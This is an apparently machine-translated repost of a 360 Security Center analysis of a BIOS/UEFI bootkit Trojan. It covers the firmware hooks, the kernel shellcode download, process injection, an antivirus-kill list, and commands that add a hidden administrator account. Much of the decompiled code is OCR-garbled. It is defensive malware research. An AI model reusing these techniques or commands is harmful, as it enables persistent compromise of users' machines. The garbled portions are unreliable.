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Spy Tracker: The world's first UEFI motherboard BIOS Trojan
analysis

This post was last edited by Airplane at 2017-5-3 17:06

| 0x00 Introduction

Not long ago, Mr. Li, a netizen in Guangzhou, asked the 360 Security Center for help, and reported
that his computer system automatically created an unfamiliar account named aaaabbbb, and the
antivirus software repeatedly reported the virus, and even reinstalling the system still could not
remove the virus.

After the preliminary judgment of 360 engineers' remote assistance, Mr. Li's computer motherboard
BIOS is likely to be infected with malicious code. To this end, we asked Mr. Li to mail the
motherboard to the Beijing headquarters of 360 Company for analysis, and found that this is a new
type of BIOS BOOTKIT that has never been seen before. Since it will set up a spy account in the
system for remote control, we named it Spy Shadow Trojan.

Compared with the previous BIOS malicious code, Spy Shadow Trojan has stronger compatibility
and higher technical level:

1. The world's first real attack to infect UEFI motherboards. Spy Shadow Trojan supports a lot of
BIOS versions, and it is the only known Trojan that can infect UEFI motherboards. The Spy
Shadow Trojan will infect the BIOS boot module in UEFI compatibility mode, and UEFI+GPT mode
will not be affected. The BMW BIOS Trojan (named Mebromi by foreign manufacturers) that
appeared in 2011 only supports the infection of a specific Award BIOS;
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2. Strong system compatibility, supports all mainstream 32-bit and 64-bit Windows platforms,
including the latest 64-bit Win10.
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Figure: 64-bit Win10 infected spyware Trojan triggers Microsoft PATCH GUARD, causing repeated
blue screen [/i]

It is understood that Mr. Li purchased this second-hand motherboard from an online store.
According to the phenomenon of Internet search for spyware Trojans, Mr. Li's experience is not an
exception. It is speculated from the existing samples that the malicious code may be flashed into
the motherboard BIOS by the programmer, and sold and circulated through e-commerce channels.

In view of the complexity and particularity of the motherboard structure, at this stage, only by re-
flashing the BIOS can completely remove the Spy Shadow Trojan. The following is a detailed
analysis of the technical principles of the Spy Shadow Trojan.

| 0x01 BIOS and UEFI

BIOS is an acronym for English \Basic Input Output System\, and the Chinese name after literal
translation is \Basic Input Output System\. In fact, it is a set of programs that are solidified on a
ROM chip on the motherboard of the computer. It saves the most important basic input and output
programs of the computer, system setting information, self-checking programs after booting, and
system self-starting programs. Executes prior to the operating system and is responsible for
loading and executing the MBR code. Its main function is to provide the computer with the lowest-
level, most direct hardware settings and control.
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UEFI (Unified Extensible Firmware Interface) stands for "Unified Extensible Firmware Interface". It
is a new motherboard boot item. It is being regarded as the successor of BIOS with a history of
more than 20 years. Since Win8, it has been promoted by Microsoft. push. UEFI claims to be able
to resist Bootkit attacks by protecting the pre-boot or pre-boot process, and has higher security
than BIOS.

| 0x02 Technical Analysis
2.1 CSM module analysis

The Trojan is located in the BIOS file

= AmericanMegatrendsinc.-0904.rom

The motherboard is B8SM-G-ASUS-0904 from ASUS. Different from the normal BIOS, the
CSMCORE module on the Ma motherboard is larger than the normal one. Should only work in
LEGACY MODE, booting via UEFI should not work. (CSM (Compatibility support Module) means
compatibility module, this option is specially set for compatibility with devices that can only work in
legacy mode and operating systems that do not support or fully support UEFI.)
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The Trojan adds its own functions to the BIOS module and hooks the normal functions of the
system to execute.

The normal function is as follows:
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Change the first instruction of the original function to CALL to get an execution opportunity:
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After that, it will judge whether the content of the R9 register is 3, which may be a sign of the
successful initialization of the BIOS, and then search for the BIOS internal feature code CD 19 B8
00 80 CB 00

I
i
¥
I
I
I

; Segment type:
seqagn

Pure code

segment byte public ‘CODE" wseid

assume cs:seging

assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing

int 1%9h ; DISK BODT
: causes reboot of disk system
noy ax, 8880n

retf

It should be the code executed by calling interrupt INT19H to load the first sector MBR of the hard
disk after the internal initialization of the BIOS. Then modify the data at 0X413, reserve 40KB
space to store the Trojan code, and copy the code in the BIOS to the reserved space. And after the
internal initialization of the BIOS found earlier, call the interrupt INT19H to load the code executed
by the MBR of the first sector of the hard disk, and call the code of the Trojan horse itself instead.

5/18



(UL U T EBE_THEENE | TmE MKERD aub_tERCecmuelf

B AR AER AR AN AT R WY BT TR L] Cal o i

(RN RS DR1AF3 &2 88 3% BT 13- i um, deluwd &1

PR (REBRADI SF 0 o5 @) ER B Tuh A
[EEEEET T B T ETR R T erp w, i

PR DR AR 1AT R TR AL i shwel D 1408

(SR ODEGM-SEDIIFRS o0 B b 0 v . T

PR R AT A e

LIS BT TR TR PLT AR BT THE TMEM: 1 DARF ERFRS fi TRXTCERANTT|
(EE; QRO MESMDE 1T ) &8 30 0B 3 (2] =y

1 VTN O al S B ia ENOrT LTk 5d

PRAET AR R AR RI AT AT RS B AR AP W awy

PR D0 R DR 1aF 53

10U RN FOE_ TS e T DTSR -1 2
|RRA: ARARRDARRARIAT ] A8 B 8 2T 100 L ISP AT, AR

PO 00 s DR1AFSE BE O B 3% 0R i a7l

| ORI AF G 48 # ©F L] Filfly T48

(lad GREERARRENATE] WE @0 DO A @R L] rEd, (usk 1EB TERER][rex]
|haE: RAARPSARRR1AFAN BT C& 10 A9 AR m PRy BRT

(00 DRI IREDE IFGF T w1

| PR AL F 0D FE RO

jRbE; ARAARAAGERHAFT? WD &R GF Al W ey [riSais]

| €90; DREPREERNDE1OFTE B2 0D OB B 0@ -y e, T 0

BT VRSB SE P WY B el MW i Fwd, prESet Loc_ CUROD

| e ARAABRAERRENATAT B0 31 BF ey W,

R ODEDBEAREDE 1OF@S W8 BT EL &9 i Fhpy Bl

[LASHUL LT B LT LR B call werd pEr [roavieE |

(REE: ARAMEEARAREATAN A8 BT Ca AR ) [ T

(R DEDRESRMEN 1AFRF AT £ W E5 -y bgle pir [ris], =

(R DR DESREDEOF DS WE FF B0 i rin

(R G R ARIN ST RS &8 @1 T &8 80 Ll wmrd pEr [ria), &

|l R SR AR W7 FF LA By il

(R (RE BRI DI AT OF W3 IF s ik

e PR AT Al BY e A1 0 ML W £ wrd pLE | F1a), PO

i AR b SERAIHATRA BT &7 oF &l Rl rrm, feies =]

(R ABEDRDERADD1AFAC BE O0 @B 3 0B L Wi, 356 Pls

PR UNE AR Y kY W O W L . mbredt Bec EUEH

|EAS: ARANESMIENNAFAT &5 31 B9 i ¥E, PO

(R (RE HADO HAFRA WS &3 ED &0 s rupe i

(R VRN AEEE B BT Tall il PO (rcREh )

PRAE: ARAERARRRE AT UE &1 Fa &0 L [ L

[EE; NREEBEIAD 1AF G

(LS T B (U R LOE_TMES L | UENE NNLRG Sl THYSTGESE
PERE AR AR AT L 1 nmm easEseecnt)
PRED; DRR TR MIEDNIAFES W1 &F sl F15

PR IRRRESRM DR GFET 4 SE Fap ria

(LT RCTE T Tt T S pog I3

2.2 INT15 hook analysis

Then, return to continue execution. When the BIOS is initialized and ready to load the MBR code
of the disk, the code of the Trojan will be executed. At this time, the Trojan will hook the INT15H
interrupt, and then resume the execution of the original code, so that the hook is completed. The
follow-up is similar to the MBR Trojan of the Dark Cloud series. It hooks the memory step by step
by hooking INT15H and loads itself.
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In this way, when the system MBR is executed, the Trojan has already hung the HOOK of INT15h
in the memory. After that, it will HOOK bootmgr!Archx86 TransferTo64BitApplicationAsm to get the
next execution opportunity, and then HOOK winload!OslArchTransferToKernel, and then HOOK
when the kernel is loaded. ZwCreateSection , thus cutting into the kernel to run, and then setting

the thread callback.

2.3 Thread callback hook

Next, the thread callback PsSetCreate ThreadNotifyRoutine and the process callback
PsSetCreateProcessNotifyRoutine will be set. In the process callback, only \Process %d Create
%d\\n\ is printed, and the thread callback is the key content.

l.lll._nll Fws
Kor
LEa
lea
call
moy
1ea
DY
ROy
ROy
Aoy
call
lea
xor
Py
call
Aoy

loc_37CH:

add
pop

§ WL MTELE s RERLE YT W

edx, edx : int
rcx, gqword K000 ; void =
rid, [rdse ] : size_t

memset

eax, dword ptr [rsp+i1hBh+var_128+4]
rcx, ThreadHotiFyRoutine ; QWORD
csodword 028, Pax

Eax, [r55f1hHﬂluar 128]

cs:quord h0BO, rbx

cS:dword MD2C, rax
cs:PsSetCreateThreadiot i fyRoutine
rck, CreateProcessHotifyRoutine
edx, edx s _OWORD

ebx, eax
csiPsSetCreateProcessHot iFyRout ine
fax, ebx

QVORD

: CODE XREF: Entry+h1fj
; Entry+s07j

rsp, 148h

rbx

In the thread callback, the Trojan determines whether it is the csrss.exe process. If it is not, it skips
it. If it is, it creates a system thread and inserts a worker thread to erase its own thread callback.
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lea riax, aGsrss exe ; "Csrss.exe”

lea rcx, [rspré8h+var 28] ; _QUORD
call cs:RtlinitUnicodestring
1ea ridx, [rspeafh+var_18]
1ea re®, [rFspea8h+var 28]
call PsGetThreadProcessClientid
test eax, eax
is loc_36F 7
and [Fsp+6Bh+uar 387, 8
lea rax, DownLoadShellCodeAndRunThreadProc
1ea rox, [rspedBh+arg 18] ; _QWORD
nay [rspeGBh+uar_&O], rax
and [rsp+Gfh+uar W8], B
xor r3d, rod 7 _QWORD
xor réd, rid 7 _QWORD
oy edx, 1FFFFFh v _WORD
Aoy cs:byte &B31, 1
Aoy cs:byte hB30, 1
call cs:PsCreateSystemThread
test eax, eax
is short loc_36C1
RO rcx, [rspréBh+arg 18] ; _QWORD
call cs:Zublose
1601 : ; CODE XREF: ThreadHotifyRoutine+917]
and cs:oquord_4A0E, O
lea rax, j_PsRemovebreateThreaddotifyRoutine
1ea rox, quord_LOBBE ;  QVORD
Aoy csoguord_4818, rax
lea rax, ThreadhotifyRoutine
Aoy eds, 1 + _OWORD
ROy cs:quord 4B28, rax
call csiExQuevelorkltem

2.4 Kernel thread network download code

In the created system thread, it will wait for 1 minute to wait for the network to be ready.

& YUUHD *)Ip0WCOOSSLEe = 31}
vl = -60000BREELG6Y ;
HeDelayExecutionThread( 0ich, Biéh, Buc):
vl = flueryMtiodul eBase(@6h, BUTHndule, BQidh) & GxCOOOBAODIGN;
iF { ¢ DUORD)U1 t= BxCBOBDBOR )
1{
!pdulﬁr;:jh"-.j.'n[l] = iz
ippShellCode = @lék;
while ( 1)
{
ul = @3
do
{
Wil = .:
di
{
ifF { (signed Int)DownloadShellCodeByUDe(
“wrens S | .

otoeasns,

i B 0 BB Bl
(char ==)}ElppihellCode,
lpduCodesize) = B )
goto LABEL 9;
uh o= -H00BRB0BEIGY;
KebelayExecutionThread{ Dids, Bish, Bul);
+HudE;
H
while { v3 € 5 );
if { (signed int)bownLoadShellCodeByTCP(
*uruny S
T,
exDEDE4IDE,
B8 28 08 BBy ,
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Then it will try to use two methods to download malicious code to the kernel for execution, firstly try
UDP DownlLoadShellCodeByUDP, the function is to resolve [url=]lwww.XXXX.top [/url] [/i] domain
name. Using OxDEDE43D0 0x8080808, the two sets of DNS domain names are converted, namely
(222.222.67.208 8.8.8.8) and [url=]www.XXXXtop [/url] [/i] The communication port is 0x801F,
which is port 8064.

First use 0x3500, namely port 53, to request the domain name service, and get the address
corresponding to the [url=]lwww.XXXX.top[/url] [/i] domain name.

i
DWORD =spin_addr; £F i1
ERE I
t Brsierops I addrus #4
__intdh resalt; /f

[ | i e o= Dy "
iF { ha il Bl Bphr ¥
L
= GetHosthdrFronHameByllDe | FET e, GxISEE, t #, 1 vilile ) 3
if ( (sigued intjresuit € 9 )
i
= EetHosUAdrFrondame 8y 1CF( L i P, BES Wi, « [Eir fibr ) 2
iF [ {signe it {m}
I = BetHosthdrFrosHamseBy TEP (DS erue tibra, BREPTda, s T fale } &
H
H
else
1
= BERDO000RIGN;

First request the server, ask the Shellcode length fragment size, then process the fragments one
by one, and finally splicing them together.

The send packet is 0x10 in length.

1apl=U n¥ up &1 pl Zr na po nc
le==0010 ===0018 d==002b e==002b £==0053 g=s=002b ef1=00000245
fEEEEaBD  0285bcB? eBbOf4£EEE call fEfffaBl” 0285bl13c

2: kd> db fE£££88002£725a0
SELELTRN S Toal 20 40 1000 10 .00 10 0400 90 00 09 To- 00008 40

Accept packets as:
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2: kd> dd ff£££080D2£725b0 la

ffEffEB0° 02472500 00000000 OOOOQO0O0 DOOOOO1E JB45672a
fffffBB0°026725c0 0001a32d 00000042 000O0OOOO0 OOOOOOOO
ftff£8680° 02£6725d40 00000000 OOOOOOOO

The total length is 0x28, the header length is 0x10, the data part length is 0x18, and the checksum
is 0xd845672a.

Shellcode length is Ox1a32d, there are 0xd2 shards in total, and each shard is 0x200 in size.

result = OpentDPadr(Bu2a, (FILE_DDJECT «)EFileObju, @, @);
if { (result & BxCODOODAOD) Y- DxCODOOOOD )
p @1? = ReceTheLegth({®, FileObju, sin_porte, GdwHusiifBufFfer, (0WORD s)kdwRecuTatallen);
if ( (ui? & GxBADORDAD) == @ )
1
Uil = gduRecuTotallen;
ulh = {{unsigned int)deltecvTatallen + BHFFFL64) & HxFFFFFFFFFFFFFﬂ-IMlﬁh:
LODWORPLv15) = ExAllocatePoolWithTag{1idh, wi1h, MeSShYSHIGL)
uih = wik:
ifF { v1s )
i
pemset (15, @, vik)g
ui? = @
vl o= BxCE0BDRIE ;
iF { PdutunilFHUFFer )
goto LABEL_25;
in port 1 = 1 poirk 2
wil = W=

When using UDP to send and receive data, the data part will be checked.

LODUORD{L vrigth) = Bwil;

11 = UDPSeadDabagramd=li_port, Filedbje, Lh adde, ioCéh)BipBauiffer, Leagbh, tTH8E0);

IF § {ut1 & OxBOOBHOEN) -=- @ )
! {
! mpRset (REpiEocufiuifer, 0, BXIB0);
| w11 = UDPReceiveDatagram|
¥ i Int &k )k piteculiol Fer |
1 Fhleinjv,
i e E R,
I [ 5[5 T R,

{ Inbdu)REsculen,
m it ,
I 10aua) ;
I iF { (vil & ExSQAERROAN) == O )
' i
| U1t = DxCOddBeaE ;
1F { (_DWORD)HECulen == Bx2B )
L} i
i tuGhecicion = XCheckiuml(  intdh)kduilagic, O, &lplataBuféer, dubatalen);
iF { dutheckSum == idellhrckSemo )

¥ EF  ({ipoatabul ber =« B19id4) & BufFFFFFFFFFFFFEDBULAL) == wl) €4 § BER v £ Gx20@0 )

If the verification is successful, they will be spliced together, otherwise discarded, and then apply
for non-paged memory.
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Copy and execute the previous memory code, passing in the NT base address as a parameter.

BB 5S4 24 &0
k1 B8 W5 Ly WF

W8 81 E2 DO FB
FF 15 59 DR FF
kB BB D@
B 85 CB

hh BH 44 Th &0
EH HH S T4 FO
hH HE CH

ER 87 B4y D o0
48 BB LC Zh TR

L@ BG W

L]
g a9
FF FF
FF

— L e g ———
iz shart loc_3500

A edx, dword ptr [rsp+S8helpdutodesise]

P BEXN, BEX : _(AAORD

Ao rid, W3WFusASh ¢ _QWORD

aibd rix, WFFFhl

ami rdx,; OFFFFFFFFFFFFF@a@n ; QWORD

call s iExAllocatePool i thTag

A rhx, rax

tesk Fax, rax

iz short loc_3&F3

Y riid, dword pty [rspeSfhelpdeCodesize] ; size t
AT rdx, |[rsp+5Eh+lppihel 1Code] ;

LT T ro¥, rax s woid =

call mrRCpy

L rox, [repeSEheHEHedule )

call rhx

A i1, 1

2.5 Decrypt malicious code and deliver APC

Only the header of the downloaded code can be executed, and the latter part is encrypted data,
which needs to be decrypted and executed. The calling function is RtIDecompressBuffer, the size

after decryption is 150728, and the decryption method is OMPRESSION_FORMAT _LZNT1.

call
test

iz

Xxor
inc
ine
(]

[T
ey
lea
noy
call
test
jnz

rax, affzl : TFEL™
edx, [rax+8Ch]

ebx, [rax+8]

12, rix

13, [rax+10h]

FC¥, rCH

rcx

rdi ; ExfAllocatefonl
rax, rax

short loc_C1

ri4, rax

FCX, FCX

FCX

(=]

rdx, rik

ré, ri2

re, ri1d
[rspeRABnsvar B0], rbx
rax, [Fsp+bidhsvar 48]
[rsp+dABh+var TB], rax
rsi ; RtlDecompressBuffer
rax, rax

short loc_C@

Then the populate import table is called:
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ffaf0’ 02340000
tfa80° 02940008
££a80° 02340010
ffal0 02540018
ffaf0 02340020
f£a80 02340028
f£a80° 02340020
ffaB0 029400238
fEa80 02240040
tfa80 02340048
f£a80° 02240050

s FHh Hh HR R R Fh HR R R R
Lo T s T Y
R FROFR FR R FR R R R R

t£280° 02940090 £
f£a80° 02940098 £
ffalB0 02940080 f£
ffaB0’029d00a8 f£
f£280°029400b0 £
f£a80°029d00B2 £
ffag0 029400=0 f£
ffaB0 02%d00c8  f
f£a80° 02940040 £

FPOoAASR A TRA TS

£f
£f
£
£f
£f
£f
8 ;
i ;
rE

IR R R R R R R R R

h

2 Fh Fh FR Hh A Fh FR R

00 03f£90b0
Q0 03££83d40
00" 03ebeb20
00" D3mbeed0
00" 03ecatel
00" 03ectsdn
00" 03ea57d0
00" 03maial0
200 03eal490
200" 041padec
200" 03e=tfec

fEE
fit
fie
fEf
fEE
fiE
fif
FEf
fEE
it
fEf
fEEf£aB0 02940058 fff££f800° 04382130
fEfffaB0 02940060 fEfE£fB00° 041baéhbi
fffffaB0 02940068 fEf£££800°0416bE5S0
fEf££280° 02940070 £££££800°032al17b0
fEff£aB0° 02940078 ffE£££800° 04196750
EEEffaB0° 02940080 ffE£ffR800° 03memdcl
EE%ffaBﬂ'ﬂ??dﬂﬂBﬂ fEEEER00° 04246690
fLf
fEf
fEE
fEE
fit
fEf
o 4
£

o
[ =]
'E

"041bd8al
"03ebe7a0
"03mbeg 20
'03ebe? bl
‘041916ac
"D3f7=480
800" 03ed3300
800° 04156860
200° 04168284

L R L L L L ]

00 00 00 00 0D
[ B o e e e
'I:'QGD'E

nt |ExFreePoolVithTag

nt |ExkllocatePooclVithTag
nt | ZwluerySyvstemInfornation
ntlZwClo=e

nt |0bf Dereferencelbiject

nt |KelelavExecutionThread

nt | Kelnsertfususipc
ntlEsInitializesipe

nt |KellnstacklDetachProcess

nt |SekeleaseSubjectContext
nt |Rt1EqualSid
nt | SeExports
nt!SefueryInformationToken
nt|SeCaptureSubjectContext
nt |EeStackittachProcess
nt |FslockupFrocessByFProcessld
nt | PeGetCurrentProcessT1d
nt | SeTokenl=sAdmin
nt IRt lEguallUnicodeString
nt | ZvQueryInformationProcess
nt | ZvFreaVirtual Henory
ntlZwhllocateVirtual Menory
nt | PelockupThreadByThreadld
nt | DbgPrint
nt!RtlInitlnicodeString
nt | PeTerninateSystenThread
nt |PeCreateSystenThread

Then call PsCreateSystemThread to create the injection thread.

Ao
push
sub
and
Aoy

F lea
now
and
lea
Ho
Hor
Ay
call
nou
test
js
Lo LN
call

loc_DE7V:
nou
add
pop
retn

In thread:

Bidh;
aidh;
alg

iF  {signed int)FindSystemProcess((
Allocatedenoryinduenedpef{ Intau)Bud, wi);
return PsTerninateiystenThread| Bisy);

H

rit, rsp
rhx
rsp, Aih

guord ptre [F11+18h], @

[Fi1-18h], rcx

rax, InjectThreadProc

[Fi1-28h], rax

quord ptr [F11-28h], @

rex, [r11+18h]
Fod, rod

rAd, rid

edx, 1FFFFFh

-
"

_WoRD

_QuoRp

_QWORD

“QuoRD

csiPsCreateSystemThread

ebx, eax
eax, eax
short loc_ DET

rex, [FspeiBhsarg_19] © _OWORD

cs:Zwllose
; CODE XREF: RunlnjectThread+3aftj
eax, ebx
rsp, Lih
rhx
Incdn)Eua) »= @ || (signed int)FinddWProcess({ intéd)ke

The first to find system process injection is spoolsv.exe.

a1 = B )
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uZi = Bioy;

vl = al;

ud = Lalg.exe;

u? = BxCODDB22S;

uid = L"spoolsu.exe';

vl = @3

vil = L"wscntfy.exe™;

uly = Bud;:

yl12 = L"suchost.exe';

uld L' csrss..exe'";

ulh L"services .exe'

T8 L L“winlogon.exe* ;

uifi = L"1sass.exe™;

w17 L"1sm.exe'";

uiB L"wininit.exe";

w19 = L"umiapsru.exe™;

while ({ =ul )

i
RtlInitUnicodeString{fua);
u? = FindProcessForInject{({_ _intéh)}Gus, { into4)Buds, 1);
if ( v2 »= B )

{

- e T

T o G W M TN R W

-
nnn

e - T I e e L

T Wy

if € v1)

Then kill the soft process:

ul = al;

ur = BxCODea22%;

ul = L"zhudongfangyu.exe'';
w23 = DiGh;

uldl = L"QQPcRtp.exe";

u3 = B;

ull = L"KSaFeSuc.exe'';

wh = { _intoh w)&ub;

ul1?2 = L"QOProtect.exe™;

w13 = L"Kwsprotectoh.exe™;
Wil = L"KGService.exe™:

uls = L"BaiduSdSuc . exe™;
ulfi = L"BadduAnSvc.exe';
ul? = L"BaiduHips.exe™;

18 = L"BaiduProtect.exe";
wi® = L"BaiduSduproxyél.exe™;
w2l = L"2345RTProtect .exe™;
w1l = L"23455FCuard ..exe™;
u2? = L"23455FBuardal . exe™;
while { =ub }

{

RElInitUnicodeString(fus);

u? = FindProcessFarInject{{ intah)&us, {_  intak)&u7, B);
if ( v2 =0 )

{

Apply for memory copy injection:

13/18



ul5 = (dutodesize + WBOS) & BRFFFFFFFFFFFFFO@0uE6Y;

ifF { ZwAllocatelirtualHenory(-1i6h, Ripallochase, BGh, BuiS) >= @ )
{
memncpyd lphllocbase, wi?, dulodeSize);
ipAlloclasew = 1pAllacBase;
iF [ win )
1
iF ( IpillocBase & BxFFFFFFFFO@0A088BULGY )
lpillocBasey = Didhs
else
lpRlloclasey = = » [pAlioclase;
iF ¢ tipallocBasew || (ué = InsertQuevehpe(uii, IpAllocBaseu, BLGH, oS, BiG6H)) == @ )
ZuFreelirtual Memory(-106%, Bipnlloclane, Bu15, BebDODiGN):
¥
if  te? )
1

KelnstackbetachProcess{Buin);
ObFDereferencelbject{uid);
H

[T |_||'.:

Insert APC injection:

TL A H

Sysbenfirgumentl = ab;

lpThready = lpThread;

iF { 1pThiread O MHormalRoubtine )

1
LODUWORD(vi) = ExAllocatePonlWithTag{ii6h, 88i6h, 1262571587i6A);
Apc = wEj

LODMORD{ w14} = Ex@llocatePoolMithTag(Bish, B8i6h, 1262571587id4);

wil = w183

if { apc )
iF [ wind )
i
Kelnitializeape(npe, lpThreadu, 8l64, Freefpe):
5 = KelnsertQueneRpc{ipc, Systendrgumentt, Systemfrgument?, 016%);
ifF { vs )
i

KelpitializeApc(utt, Ipihreade, 0i6h, DelagExecutionThread);
vh = KelnsertQueweApc(vli, Mbeh, Oibh, Bids);
if [ tus )

goto LABEL_11;
return uh;

¥
ExFreePoolMithTag{npc, 0idk);
_ABEL_11:

ExFreePoolMithTag{ui1l, Bidh);
return v5;

¥

ExFreePoolWithTag(ape, Bi6h);

2.6 Execute user-level malicious download code

After injection, it is executed from the application layer. The code contains a DLL file, and the
execution function is to apply for the memory base address.
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.
segment byte public “CODE' usetd

assume cs5:seqin

assume es:nothing, ss:mothing, ds:nothing, Fs:nothing, gs:nothing
call siib_f

R
seqaann

retn
SUBRODUTIMNHE-=
sub_& proc near ; CODE XREF: seqidp:o0opoonpapooosnntp

push FCX
push rix
push rbx
push rbp
push rsi
push rdi
push ri
Dush re

Then get the base address of the Kernel32 module, follow LoadLibraryA GetProcAddress
VirtualAlloc, fill the PE file import table in the memory, and execute the DIIMain function after filling.

BOOL _ stdcall D11EntryPolnt(HINSTAMCE hinstDLL, DWORD Fdwheason, LPUDID LpReserwved)

HIHSTAKCE wadj J/F rhxEl
HAMDLE whi J7 vaulEn

iF { Fowiea Sy 1
1

DisableTheeadl ibearytal Is{hinsthLLY;
quword_1080CAZE - | inbéa)us;
iF [ va )
sulb_108eRbTR{{ invesjued, 1, Oiék):
o= CreateThreead{Bi6s, 064, (LPTHREAD START_ROUTIHE YDownFileAandExecThreadPreoe, Giéh, @, @iéh);
1F [ wvh )
CloseMandle{ui)
)
return 13

H]

A thread will be created in DIIMain, the download will be executed and run, and related services
will be suspended or deleted according to the control code.

thread function:

dword_T1800Ceze = 13
if ( tmencep(Bunk_10080F000, “hashblob™, Buidék) )
{
if ( guord_ 1008CE2E )
sub_ 10008478 (quord_1000CA2E, 2, Bidh);
WEAStartup(x202u, BSAData);:
AdjustPrivilege{ SeTcbPrivilege™);
AdjustPrivilege( SeDebugPrivilege ) ;

Sleep( BX3EBU) ;
if { dword 1000F008 > @ )
{
do
{
mencpy{E-tring, {char =)Bunk_1000F 040 » 1588 = vi, Dx&3buidh);
pencodeDatal(  inték)alrFJlEarG, (unsigned  int68)&SCring, OxG634);
StopTheServiceandRunExe (Bl ing);
+4+U1;

H
while { u1 < dword 1000F008 );

H
result = DiGh:
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The privilege escalation operation decrypts the download address data. The decrypted content is:

[OO000000 039FE420 00 00 00 00 00 00 00 00-00 00 00 00 00 g0 0d o0

|oooooooon”

Qooooooo”
\onoooooo-
|onooooon’
(Doooooon’
\aoooooon®

N39f£430
039££440
N39f£450
N39ff460
039££470
N39ff480

0D 00 00O 00 OO0 00 OO0 OO0-00 OO OO OO0 OO0 00 OO OO
0D 0D 0D 00 68 74 74 70-3a 2f 2f 77 77 77 2o 6%

46 -
00 00 00 00 00 00 OO0 00-00 OO0 00 00 00 00 00 0O
00 00 00 00 00 00 d0 00-00 00 00 00 00 00 00 00

... . http:A“vww. B

db

Pause or delete the service according to the control code:

vl = #({ DWORD =)ul + 39P2);
iF { {_DWORD)vd == 3 )

result = StopServiceByHame(BStringi);

else if { (_DWORD)uI == L )

result = StopAndDeleteServiceByHame (vi, &itringi);:

else if { lstrlendf{ul + 130@) <= 2

11 1strilenf{uvi + 1040) <= 2

Il (uts = ={{_DWORD =)u1 + 391), ¥ _bittest(Bul, Bx1Fu))
1l (result = sub_1008318C{ (HHKEY)={{_ DWORD =)uil + 391}, (

UG = "Ztempd”;

iF ( lstrleanf{v1 + 528) > 2 )
wE = ul + 5283

Then run in three ways: (DLL loading, parent process injection, directly creating EXE to run)

beleteF

- mmarwy

ileA{&TempFileMame) ;

vill = ={{ DWORD =jui + 392);
1fF { vim )

{

iF ( vl == 1}

{

¥

ifF { (unsigned int)DownFile{ui + 260, ETenpfileHame, B > B )

LoadLibraryf{&TenpF i leHane) ;

else ifF ( vifg == 2 )

H
¥

else

DownFileAndExecW{vi + 268, BTempFileHane, u?, (unsigned int)vd, ={{ DWORD =)jui + 304));

H

Hrtualivl locAnrun{vi + 260);

result = DeleteFileAf{&lenpFileHama};

2.7 Create malicious accounts

intéa)(v1 + 1300), (

int
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Downloaded here is an EXE, the main function is to create an administrator account.

int _ stdcall sub_40810808{int a1, int a2, int a2, int au)

1
WinExec(“net user aaaabbbb aesaesaes /Jadd”, @);
WinExec{"net localgroup administrators aaaabbbb fadd™, 8);
return 8;

H

screenshot:

aaaabbbb

| 0x03 conclusion

Shadow Trojans can parasitize in various versions of BIOS including UEFI motherboards, infect
the BIOS boot module in a very precise and targeted manner, and implement remote control by
killing the entire Windows platform, showing a high-risk, high-complexity and high-tech " Three
high" features.

In order to prevent spyware Trojans, 360 Security Center recommends that netizens : try to
choose official channels to buy computer accessories, and enable real-time protection of security
software. If you encounter suspicious situations such as slow computer startup and login interface,
unfamiliar accounts in the system, and repeated virus reporting by security software, it is best to
seek help from security vendors to prevent Trojan horse viruses from causing damage to personal
data and property
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